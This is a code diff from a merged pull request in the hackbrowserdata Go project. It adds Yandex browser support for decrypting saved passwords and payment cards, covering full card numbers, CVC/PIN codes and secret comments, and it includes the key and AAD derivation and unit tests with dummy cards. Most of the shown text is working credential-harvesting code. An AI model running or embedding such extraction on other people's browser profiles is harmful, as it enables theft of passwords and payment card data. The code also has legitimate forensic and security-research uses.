Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 5 additions & 1 deletion browser/chromium/chromium.go
Original file line number Diff line number Diff line change
Expand Up @@ -138,7 +138,11 @@ func (b *Browser) countCategory(cat types.Category, path string) int {
case types.Bookmark:
count, err = countBookmarks(path)
case types.CreditCard:
count, err = countCreditCards(path)
if b.cfg.Kind == types.ChromiumYandex {
count, err = countYandexCreditCards(path)
} else {
count, err = countCreditCards(path)
}
case types.Extension:
if b.cfg.Kind == types.ChromiumOpera {
count, err = countOperaExtensions(path)
Expand Down
1 change: 1 addition & 0 deletions browser/chromium/chromium_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -337,6 +337,7 @@ func TestExtractorsForKind(t *testing.T) {
yandexExt := extractorsForKind(types.ChromiumYandex)
require.NotNil(t, yandexExt)
assert.Contains(t, yandexExt, types.Password)
assert.Contains(t, yandexExt, types.CreditCard)

operaExt := extractorsForKind(types.ChromiumOpera)
require.NotNil(t, operaExt)
Expand Down
88 changes: 88 additions & 0 deletions browser/chromium/extract_creditcard.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,8 +2,12 @@ package chromium

import (
"database/sql"
"encoding/json"
"errors"

"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
)
Expand All @@ -12,8 +16,26 @@ const (
defaultCreditCardQuery = `SELECT COALESCE(guid, ''), name_on_card, expiration_month, expiration_year,
card_number_encrypted, COALESCE(nickname, ''), COALESCE(billing_address_id, '') FROM credit_cards`
countCreditCardQuery = `SELECT COUNT(*) FROM credit_cards`

yandexCreditCardQuery = `SELECT guid, public_data, private_data FROM records`
yandexCreditCardCountQuery = `SELECT COUNT(*) FROM records`
)

// yandexPublicData is the plaintext JSON in records.public_data.
type yandexPublicData struct {
CardHolder string `json:"card_holder"`
CardTitle string `json:"card_title"`
ExpireDateYear string `json:"expire_date_year"`
ExpireDateMonth string `json:"expire_date_month"`
}

// yandexPrivateData is the AES-GCM-sealed JSON in records.private_data.
type yandexPrivateData struct {
FullCardNumber string `json:"full_card_number"`
PinCode string `json:"pin_code"`
SecretComment string `json:"secret_comment"`
}

func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) {
cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery,
func(rows *sql.Rows) (types.CreditCardEntry, error) {
Expand All @@ -39,6 +61,72 @@ func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.Cred
return cards, nil
}

// extractYandexCreditCards reads the records table (not Chromium's credit_cards). AAD = guid. See RFC-012 §4.
func extractYandexCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) {
dataKey, err := loadYandexDataKey(path, keys.V10)
if err != nil {
if errors.Is(err, errYandexMasterPasswordSet) {
log.Warnf("%s: %v", path, err)
return nil, nil
}
return nil, err
}

return sqliteutil.QueryRows(path, false, yandexCreditCardQuery,
func(rows *sql.Rows) (types.CreditCardEntry, error) {
var guid, publicData string
var privateData []byte
if err := rows.Scan(&guid, &publicData, &privateData); err != nil {
return types.CreditCardEntry{}, err
}

var public yandexPublicData
if publicData != "" {
if err := json.Unmarshal([]byte(publicData), &public); err != nil {
log.Debugf("yandex: parse public_data for %s: %v", guid, err)
}
}
entry := types.CreditCardEntry{
GUID: guid,
Name: public.CardHolder,
ExpMonth: public.ExpireDateMonth,
ExpYear: public.ExpireDateYear,
NickName: public.CardTitle,
}

plaintext, err := crypto.AESGCMDecryptBlob(dataKey, privateData, yandexCardAAD(guid, nil))
if err != nil {
log.Debugf("yandex: decrypt card %s: %v", guid, err)
return entry, nil
}

var private yandexPrivateData
if err := json.Unmarshal(plaintext, &private); err != nil {
log.Debugf("yandex: parse private_data for %s: %v", guid, err)
return entry, nil
}
entry.Number = private.FullCardNumber
entry.CVC = private.PinCode
entry.Comment = private.SecretComment
return entry, nil
})
}

func countCreditCards(path string) (int, error) {
return sqliteutil.CountRows(path, false, countCreditCardQuery)
}

func countYandexCreditCards(path string) (int, error) {
return sqliteutil.CountRows(path, false, yandexCreditCardCountQuery)
}

// yandexCardAAD is the raw guid bytes (+ keyID if the profile has a master password).
func yandexCardAAD(guid string, keyID []byte) []byte {
if len(keyID) == 0 {
return []byte(guid)
}
out := make([]byte, 0, len(guid)+len(keyID))
out = append(out, guid...)
out = append(out, keyID...)
return out
}
88 changes: 88 additions & 0 deletions browser/chromium/extract_creditcard_test.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package chromium

import (
"bytes"
"testing"

"github.com/stretchr/testify/assert"
Expand Down Expand Up @@ -51,3 +52,90 @@ func TestCountCreditCards_Empty(t *testing.T) {
require.NoError(t, err)
assert.Equal(t, 0, count)
}

func TestExtractYandexCreditCards(t *testing.T) {
masterKey := bytes.Repeat([]byte{0x11}, 32)
dataKey := bytes.Repeat([]byte{0x22}, 32)

path := setupYandexCreditCardDB(t, masterKey, dataKey,
yandexCreditCard{
GUID: "card-1",
CardHolder: "Alice Smith",
CardTitle: "Personal Visa",
ExpYear: "2030",
ExpMonth: "06",
FullCardNumber: "4111111111111111",
PinCode: "123",
SecretComment: "main card",
},
yandexCreditCard{
GUID: "card-2",
CardHolder: "Alice Smith",
CardTitle: "Backup",
ExpYear: "2028",
ExpMonth: "12",
FullCardNumber: "5555555555554444",
PinCode: "456",
SecretComment: "",
},
)

got, err := extractYandexCreditCards(keyretriever.MasterKeys{V10: masterKey}, path)
require.NoError(t, err)
require.Len(t, got, 2)

byGUID := map[string]int{}
for i, c := range got {
byGUID[c.GUID] = i
}

c1 := got[byGUID["card-1"]]
assert.Equal(t, "Alice Smith", c1.Name)
assert.Equal(t, "Personal Visa", c1.NickName)
assert.Equal(t, "2030", c1.ExpYear)
assert.Equal(t, "06", c1.ExpMonth)
assert.Equal(t, "4111111111111111", c1.Number)
assert.Equal(t, "123", c1.CVC)
assert.Equal(t, "main card", c1.Comment)

c2 := got[byGUID["card-2"]]
assert.Equal(t, "5555555555554444", c2.Number)
assert.Equal(t, "456", c2.CVC)
assert.Empty(t, c2.Comment)
}

func TestCountYandexCreditCards(t *testing.T) {
masterKey := bytes.Repeat([]byte{0x11}, 32)
dataKey := bytes.Repeat([]byte{0x22}, 32)

path := setupYandexCreditCardDB(t, masterKey, dataKey,
yandexCreditCard{GUID: "g1", FullCardNumber: "x"},
yandexCreditCard{GUID: "g2", FullCardNumber: "y"},
yandexCreditCard{GUID: "g3", FullCardNumber: "z"},
)

count, err := countYandexCreditCards(path)
require.NoError(t, err)
assert.Equal(t, 3, count)
}

func TestExtractYandexCreditCards_WrongMasterKey(t *testing.T) {
goodKey := bytes.Repeat([]byte{0x11}, 32)
wrongKey := bytes.Repeat([]byte{0x99}, 32)
dataKey := bytes.Repeat([]byte{0x22}, 32)

path := setupYandexCreditCardDB(t, goodKey, dataKey,
yandexCreditCard{GUID: "g1", FullCardNumber: "4111"},
)

_, err := extractYandexCreditCards(keyretriever.MasterKeys{V10: wrongKey}, path)
require.Error(t, err)
}

func TestYandexCardAAD(t *testing.T) {
got := yandexCardAAD("card-guid-1", nil)
assert.Equal(t, "card-guid-1", string(got))

got = yandexCardAAD("g", []byte("ID"))
assert.Equal(t, "gID", string(got))
}
75 changes: 71 additions & 4 deletions browser/chromium/extract_password.go
Original file line number Diff line number Diff line change
@@ -1,17 +1,24 @@
package chromium

import (
"crypto/sha1"
"database/sql"
"errors"
"sort"

"github.com/moond4rk/hackbrowserdata/crypto"
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/types"
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
)

const (
defaultLoginQuery = `SELECT origin_url, username_value, password_value, date_created FROM logins`
countLoginQuery = `SELECT COUNT(*) FROM logins`

yandexLoginQuery = `SELECT origin_url, username_element, username_value,
password_element, password_value, signon_realm, date_created FROM logins`
)

func extractPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) {
Expand Down Expand Up @@ -45,13 +52,73 @@ func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string)
return logins, nil
}

// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in
// action_url instead of origin_url.
// extractYandexPasswords walks Ya Passman Data; protocol in RFC-012 §4.
// Note: URL column is origin_url — it's what the per-row AAD is computed over (not action_url).
func extractYandexPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) {
const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
return extractPasswordsWithQuery(keys, path, yandexLoginQuery)
dataKey, err := loadYandexDataKey(path, keys.V10)
if err != nil {
if errors.Is(err, errYandexMasterPasswordSet) {
log.Warnf("%s: %v", path, err)
return nil, nil
}
return nil, err
}

logins, err := sqliteutil.QueryRows(path, false, yandexLoginQuery,
func(rows *sql.Rows) (types.LoginEntry, error) {
var originURL, usernameElem, usernameVal, passwordElem, signonRealm string
var passwordValue []byte
var created int64
if err := rows.Scan(&originURL, &usernameElem, &usernameVal, &passwordElem, &passwordValue, &signonRealm, &created); err != nil {
return types.LoginEntry{}, err
}
entry := types.LoginEntry{
URL: originURL,
Username: usernameVal,
CreatedAt: timeEpoch(created),
}
aad := yandexLoginAAD(originURL, usernameElem, usernameVal, passwordElem, signonRealm, nil)
plaintext, err := crypto.AESGCMDecryptBlob(dataKey, passwordValue, aad)
if err != nil {
log.Debugf("yandex: decrypt password for %s: %v", originURL, err)
return entry, nil
}
entry.Password = string(plaintext)
return entry, nil
})
if err != nil {
return nil, err
}

sort.Slice(logins, func(i, j int) bool {
return logins[i].CreatedAt.After(logins[j].CreatedAt)
})
return logins, nil
}

func countPasswords(path string) (int, error) {
return sqliteutil.CountRows(path, false, countLoginQuery)
}

// yandexLoginAAD is SHA1(origin_url \x00 username_element \x00 username_value \x00 password_element \x00 signon_realm),
// with keyID appended when the profile has a master password (v1 always passes nil).
func yandexLoginAAD(originURL, usernameElem, usernameVal, passwordElem, signonRealm string, keyID []byte) []byte {
h := sha1.New()
h.Write([]byte(originURL))
h.Write([]byte{0})
h.Write([]byte(usernameElem))
h.Write([]byte{0})
h.Write([]byte(usernameVal))
h.Write([]byte{0})
h.Write([]byte(passwordElem))
h.Write([]byte{0})
h.Write([]byte(signonRealm))
sum := h.Sum(nil)
if len(keyID) == 0 {
return sum
}
out := make([]byte, 0, len(sum)+len(keyID))
out = append(out, sum...)
out = append(out, keyID...)
return out
}
Loading
Loading